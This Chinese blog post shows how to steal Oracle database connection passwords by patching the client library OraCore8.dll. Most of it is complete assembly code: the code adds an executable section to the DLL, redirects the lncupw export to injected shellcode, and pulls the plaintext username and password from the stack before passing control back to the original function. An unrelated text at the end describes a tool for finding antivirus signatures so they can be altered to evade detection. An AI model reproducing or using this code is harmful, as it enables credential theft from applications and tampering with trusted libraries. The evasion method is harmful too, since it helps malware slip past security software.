教你如何截获Oracle数据库连接密码

大部分的服务器/客户端系统的结构可以这样描述:

客户端 <---(1)---> 系统TCP/IP模块 <---(2)---> 网络 <----> 系统的TCP/IP模块 <----> 服务端

对于这些系统,一般的安全问题出在由(2)所示的地方,比如说当使用 POP3 协议收取邮件,或者用 Telnet 登录到远程主机的时候,其登录密码都是未经加密的,只要在网络上安装一个嗅探器 (Sniffer) 来监听数据包,就可以很容易地截获用户名和密码。

但对于 Oracle 系统来说,用户名和密码在网络上传递之前,是经过加密的,而且加密的算法是不可逆的,即使使用嗅探器探听到数据包,开始无法把数据库的连接密码恢复出来,Oracle 系统的结构可以如下描述:

客户端应用程序 <--(1)--> Oracle客户端软件 <---(2)---> 系统TCP/IP模块 <---(3)---> 网络 <--> 系统的TCP/IP模块 <---> Oracle数据库

对于这一类系统,所有在(2)或者(3)处监听到的登录数据包都是已经经过加密的,但是,考虑一下我们编写 Oracle 数据库应用程序的时候,无论是通过 ODBC 还是 Pro C,或者其他的 BDE 环境等,都是将数据库连接的用户名和密码用明文的方式传递给 Oracle 客户端驱动程序的,所以在(1)位置的数据流肯定明文的,密码是在 Oracle 客户端软件中被加密后才经过(2)、(3)等步骤发送出去,如果在(1)的位置进行拦截,就可能拦截到密码。

考虑到步骤(1)发生在应用程序到 Oracle 系统的调用中,也就是发生在 API 调用的层次,所以只要找到密码加密模块的入口,在对相应的 API 进行 Hook,就能截获到密码了。

有人可能存在一个疑问:使用 Sniffer 可以监听到网络上其他计算机的连接数据包,而在 API 层次上进行拦截是针对本机的,但要是自己能够在本机上连接,就表示已经知道密码了,再去截获不是多此一举吗?

非也!

实际上大部分的 Oracle 应用程序都包括一个用户开发的客户端,这个客户端可能是用 C、PowerBuilder 和其他语言开发的,这些软件提供一个界面提示用户输入用户名和密码登录系统,但是这个用户名和密码并不是数据库的连接用户名和密码,而仅仅是一个类似于 users 表中的一条记录而已,而程序内部内置的数据库连接帐号才是我们的目标,一般来说,客户端应用程序是这样工作的:

1. 使用一个内置的数据库连接帐号连接到数据库。

2. 弹出一个对话框提示用户输入用户名 xxx 和密码 yyy

3. 使用类似于 select * from users where username='xxx' and password='yyy' 一类的 SQL 语句查询用户是否有权登录系统。

我们的目标就是步骤1中的连接帐号,这个帐号存在于客户端软件中,虽然可能已经被静态加密(也就是说用16进制软件去搜寻可执行文件时并不能被找到),但它运行后需要连接数据库的时候必然会被解密并用明文传递到 Oracle 客户端软件中。

方法

好了,现在来看看具体的实现方法。

1. 相关的调用

第一步当然要知道在哪里下手,经过了一番跟踪以后(这里省去跟踪的步骤 n 步,大家可以尝试自己跟踪一下),就可以发现用户名和密码是在 OraCore8.dll 模块中的 lncupw 函数中被加密的,而且这个函数的调用方法如下:

 

invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

函数的入口参数包括明文的数据库连接用户名和密码,以及他们的长度,运行的结果是在第一个参数Output指定的缓冲区中返回加密后的数据,以后这个加密后的数据会被发送到服务器端进行认证。

2. 具体的实现方案

我们的方法就是在对 OraCore8.dll 进行补丁,在 dll 文件中附加一段代码,然后修改 dll 的导出表中 lncupw 函数对应的入口地址,将它指向到附加的代码中,然后由这段代码在堆栈中取出用户名和密码并显示出来,完成这个步骤后再跳转到原始的 lncupw 函数的入口地址去执行原有的功能。

这个方案涉及到两个技术问题,第一是对 dll 文件的修改问题,这个问题可以归结为在 PE 文件后添加可执行代码的方法问题,第二就是写被附加到 dll 文件后的程序体的问题。

对 dll 文件的修改代码的片断如下,在这以前,我们假定已经做了其他这样一些工作:

※ 文件名字符串放在 szFileName 指定的缓冲区中。

※ 已经对文件进行校验,找到了导出表中的 lncupw 项目,这个项目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 变量中。

※ 找出了 dll 文件中的 PE 文件头位置,并拷贝 PE 文件头到 lpPeHead 指定的位置中。

 

invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or / 
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL 
.if eax == INVALID_HANDLE_VALUE 
invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR 
jmp _Ret 
.endif 
mov @hFile,eax 
;******************************************************************** 
; esi --> 原PeHead 
; edx --> 最后一个节表,ebx --> 新加的节表 
;******************************************************************** 
mov esi,lpPeHead 
assume esi:ptr IMAGE_NT_HEADERS 
movzx eax,[esi].FileHeader.NumberOfSections 
dec eax 
mov ecx,sizeof IMAGE_SECTION_HEADER 
mul ecx 
mov edx,esi 
add edx,eax 
add edx,sizeof IMAGE_NT_HEADERS 
mov ebx,edx 
add ebx,sizeof IMAGE_SECTION_HEADER 
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER 
;******************************************************************** 
; 加入一个新的节,并修正一些PE头部的内容 
;******************************************************************** 
inc [esi].FileHeader.NumberOfSections 
mov eax,[edx].PointerToRawData 
add eax,[edx].SizeOfRawData 
mov [ebx].PointerToRawData,eax 
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment 
mov [ebx].SizeOfRawData,eax 
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment 
add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode 
add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage 
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment 
add eax,[edx].VirtualAddress 
mov [ebx].VirtualAddress,eax 
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE 
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE/ 
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE 
invoke lstrcpy,addr [ebx].Name1,addr szMySection 
;******************************************************************** 
; 写文件 
;******************************************************************** 
invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,/ 
addr @dwTemp,NULL 
invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,/ 
addr @dwTemp,NULL 
mov eax,[ebx].PointerToRawData 
add eax,[ebx].SizeOfRawData 
invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN 
invoke SetEndOfFile,@hFile 
;******************************************************************** 
; 修正新加代码中的 Jmp oldEntry 指令 
;******************************************************************** 
mov eax,[ebx].VirtualAddress 
add eax,(offset _dwOldEntry-offset APPEND_CODE+4) 
sub dwProcEntry,eax 
mov ecx,[ebx].PointerToRawData 
add ecx,(offset _dwOldEntry-offset APPEND_CODE) 
invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL 
;******************************************************************** 
; 修正入口指针 
;******************************************************************** 
mov eax,[ebx].VirtualAddress 
add eax,(offset _NewEntry-offset APPEND_CODE) 
mov dwProcEntry,eax 
invoke SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL 
;******************************************************************** 
; 关闭文件 
;******************************************************************** 
invoke CloseHandle,@hFile 
_Ret: 
                  ; 修改完成

这段代码完成了3个步骤,首先是扫描PE文件头中的节表,并在最后添加一个新的节,以便把附加的代码写到这个节中,这个节的属性被设置为可执行、可读、可写,因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令,将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。

下面是被附加到 dll 后的代码,这段代码被写成可以自我定位的格式,代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址,然后调用这两个函数获取其他一系列要用到的函数的入口地址:

 

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 要被添加到 OraCore8.dll 文件后面的执行代码 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 
; 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 一些函数的原形定义 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_ProtoGetProcAddress typedef proto :dword,:dword 
_ProtoLoadLibrary typedef proto :dword 
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword 
_Protowsprintf typedef proto c :dword,:VARARG 
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress 
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary 
_ApiMessageBox typedef ptr _ProtoMessageBox 
_Apiwsprintf typedef ptr _Protowsprintf 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 
; 
APPEND_CODE equ this byte 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 被添加到目标文件中的代码从这里开始 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
hDllKernel32 dd ? 
hDllUser32 dd ? 
_GetProcAddress _ApiGetProcAddress ? 
_LoadLibrary _ApiLoadLibrary ? 
_MessageBox _ApiMessageBox ? 
_wsprintf _Apiwsprintf ? 
szLoadLibrary db 'LoadLibraryA',0 
szGetProcAddress db 'GetProcAddress',0 
szUser32 db 'user32',0 
szMessageBox db 'MessageBoxA',0 
szwsprintf db 'wsprintfA',0 
szCaption db 'Oracle 8i 密码截取补丁',0 
szFormatPwd db '截获 Oracle 连接:',0dh,0ah,0dh,0ah 
db '用户名:%s',0dh,0ah 
db '密 码:%s',0 
szTmpBuffer db 512 dup (?) 
szUserName db 64 dup (?) 
szPassWord db 64 dup (?) 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 错误 Handler 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext 
pushad 
mov esi,_lpExceptionRecord 
mov edi,_lpContext 
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT 
mov eax,_lpSEH 
push [eax + 0ch] 
pop [edi].regEbp 
push [eax + 8] 
pop [edi].regEip 
push eax 
pop [edi].regEsp 
assume esi:nothing,edi:nothing 
popad 
mov eax,ExceptionContinueExecution 
ret 
_SEHHandler endp 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 在内存中扫描 Kernel32.dll 的基址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
szKernel32 db 'KERNEL32' 
_GetKernelBase proc _dwKernelRet 
local @dwReturn 
pushad 
mov @dwReturn,0 
;******************************************************************** 
; 重定位 
;******************************************************************** 
call @F 
@@: 
pop ebx 
sub ebx,offset @B 
      
;******************************************************************** 
; 创建用于错误处理的 SEH 结构 
;******************************************************************** 
assume fs:nothing 
push ebp 
lea eax,[ebx + offset _PageError] 
push eax 
lea eax,[ebx + offset _SEHHandler] 
push eax 
push fs:[0] 
mov fs:[0],esp 
;******************************************************************** 
; 查找 Kernel32.dll 的基地址 
;******************************************************************** 
mov edi,_dwKernelRet 
and edi,0ffff0000h 
.while TRUE 
.if word ptr [edi] == IMAGE_DOS_SIGNATURE 
mov esi,edi 
add esi,[esi+003ch] 
.if word ptr [esi] == IMAGE_NT_SIGNATURE 
assume esi:ptr IMAGE_NT_HEADERS 
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 
add esi,edi 
assume esi:ptr IMAGE_EXPORT_DIRECTORY 
mov esi,[esi].nName 
add esi,edi 
mov ecx,sizeof szKernel32 
push edi 
lea edi,[ebx+szKernel32] 
cld 
repz cmpsb 
pop edi 
.if ZERO? 
mov @dwReturn,edi 
.break 
.endif 
assume esi:nothing 
.endif 
.endif 
_PageError: 
sub edi,010000h 
.break .if edi < 70000000h 
.endw 
pop fs:[0] 
add esp,0ch 
popad 
mov eax,@dwReturn 
ret 
_GetKernelBase endp 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 从内存中模块的导出表中获取某个 API 的入口地址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_GetApi proc _hModule,_lpszApi 
local @dwReturn,@dwStringLength 
pushad 
mov @dwReturn,0 
;******************************************************************** 
; 重定位 
;******************************************************************** 
call @F 
@@: 
pop ebx 
sub ebx,offset @B 
;******************************************************************** 
; 创建用于错误处理的 SEH 结构 
;******************************************************************** 
assume fs:nothing 
push ebp 
lea eax,[ebx + offset _Error] 
push eax 
lea eax,[ebx + offset _SEHHandler] 
push eax 
push fs:[0] 
mov fs:[0],esp 
;******************************************************************** 
; 计算 API 字符串的长度(带尾部的0) 
;******************************************************************** 
mov edi,_lpszApi 
mov ecx,-1 
xor al,al 
cld 
repnz scasb 
mov ecx,edi 
sub ecx,_lpszApi 
mov @dwStringLength,ecx 
;******************************************************************** 
; 从 PE 文件头的数据目录获取导出表地址 
;******************************************************************** 
mov esi,_hModule 
add esi,[esi + 3ch] 
assume esi:ptr IMAGE_NT_HEADERS 
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 
add esi,_hModule 
assume esi:ptr IMAGE_EXPORT_DIRECTORY 
;******************************************************************** 
; 查找符合名称的导出函数名 
;******************************************************************** 
mov ebx,[esi].AddressOfNames 
add ebx,_hModule 
xor edx,edx 
.repeat 
push esi 
mov edi,[ebx] 
add edi,_hModule 
mov esi,_lpszApi 
mov ecx,@dwStringLength 
repz cmpsb 
.if ZERO? 
pop esi 
jmp @F 
.endif 
pop esi 
add ebx,4 
inc edx 
.until edx >= [esi].NumberOfNames 
jmp _Error 
@@: 

;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 新的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
pushad
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
.if dword ptr [ebx+_MessageBox]
jmp @F
.endif
;********************************************************************
invoke _GetKernelBase,7b000000h ;获取Kernel32.dll基址
or eax,eax
jz _ToOldEntry
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_GetProcAddress],eax
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_LoadLibrary],eax
lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
or eax,eax
jz _ToOldEntry
mov [ebx+hDllUser32],eax
lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
or eax,eax
jz _ToOldEntry
lea eax,[ebx+szwsprintf] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_wsprintf],eax
or eax,eax
jz _ToOldEntry
;********************************************************************
; 程序功能开始
;********************************************************************
; lncupw 的调用方式是:
; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1
; 现在的堆栈内容是:
; ...
; esp+14*4 dwLenUserName
; esp+13*4 addr szUserName
; esp+12*4 dwLenPass
; esp+11*4 addr szPassword
; esp+10*4 1eh
; esp+9*4 addr Output
; esp+8*4 call's return address
; esp+到esp+8*4 pusha 推入堆栈的8个寄存器值
;
; 所以,从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序
; 传递进来的用来连接数据库的用户名和密码地址。
;********************************************************************
@@:
mov esi,[esp+13*4] ;username
lea edi,[ebx+szUserName]
mov ecx,[esp+14*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
cld
rep movsb
xor eax,eax
stosb
mov esi,[esp+11*4] ;password
lea edi,[ebx+szPassWord]
mov ecx,[esp+12*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
rep movsb
xor eax,eax
stosb
lea eax,[ebx+szUserName]
lea ecx,[ebx+szPassWord]
lea edx,[ebx+szFormatPwd]
lea esi,[ebx+szTmpBuffer]
invoke [ebx+_wsprintf],esi,edx,eax,ecx
lea ecx,[ebx+szTmpBuffer]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION
;********************************************************************
; 执行原来的文件
;********************************************************************
_ToOldEntry:
popad
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的 lncupw 函数的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                  APPEND_CODE_END equ this byte

对 OraCore8.dll 进行了这样的补丁以后,凡是有应用程序连接 Oracle 数据库,附加代码就可以截获到连接所用的用户名和密码并通过一个 MessageBox 显示出来了!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
自从CCL问世以来,特征码修改已经成为了对付杀毒软件的常用手法,但是所谓魔高一尺,道高一丈杀毒软件开始使用多重复合特征码来对付特征码修改,就是说只有你同时改掉程序所有的守护特征码,此程序才不被杀。 所以本程序的作用是进行多重特征码的定位,并实现自动化。 使用方法: 载入程序,然后分块写10(刚开始应先少数量划分,先确定大范围)。起使位置最好写代码段code,或者txt然后程序会把代码段分成10块,然后从第1块开始恢复,并生成文件。生成完毕后,用杀毒软件查杀生成文件的目录清除所有带毒文件(如果杀毒软件是按顺序杀毒的话,可以在杀掉第一个文件的时候就停止杀毒,此时特征码已经找到)。然后点击[二次处理]程序会自动记录第几个文件开始查到毒了,那个就是第1个特征码。程序会把有特征码的地方添0,并记录在右面,然后把后面的文件分10块开始从头恢复。这样不断进行(反复使用[二次处理]和杀毒)守护特征的大范围就找出了并记录在右面。 因为分为10块所以每块都比较大,这时候需要进行精确。在右面点第1个特征码,选择精确此特征码,然后此处就会被写入分析器里。分块可以写大一点比如100这样多次进行精确特征码的范围就出来了。 关于内存复合特征码定位原理和文件定位是相同的,只是用程序把生成的文件全部装载到内存中去了,然后用杀毒软件对内存进行查杀。找到报毒的文件,然后手工删除或者在特征码设置中手动添加即刻。其余操作和文件定位相同。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值